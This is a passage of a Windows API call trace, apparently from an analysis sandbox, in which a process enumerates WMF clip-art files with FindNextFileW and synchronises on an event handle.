[0182.294] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.299] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0182.299] ResetEvent (hEvent=0x174) returned 1 [0182.300] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.304] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0182.304] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0182.304] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0182.304] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0182.304] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0182.305] ResetEvent (hEvent=0x174) returned 1 [0182.305] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0182.316] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0182.316] ResetEvent (hEvent=0x174) returned 1 [0182.317] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.318] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0182.318] ResetEvent (hEvent=0x174) returned 1 [0182.318] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.404] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0182.405] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0182.405] ResetEvent (hEvent=0x174) returned 1 [0182.405] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.410] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0182.410] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0182.411] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0182.411] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0182.411] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0182.411] ResetEvent (hEvent=0x174) returned 1 [0182.411] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.423] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0182.423] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0182.423] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0182.423] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0182.424] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0182.424] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0182.424] ResetEvent (hEvent=0x174) returned 1 [0182.424] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.474] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0182.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0182.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0182.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0182.475] ResetEvent (hEvent=0x174) returned 1 [0182.475] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.484] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0182.484] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0182.484] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0182.485] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0182.485] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0182.485] ResetEvent (hEvent=0x174) returned 1 [0182.485] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.492] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0182.492] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0182.492] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0182.492] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0182.493] ResetEvent (hEvent=0x174) returned 1 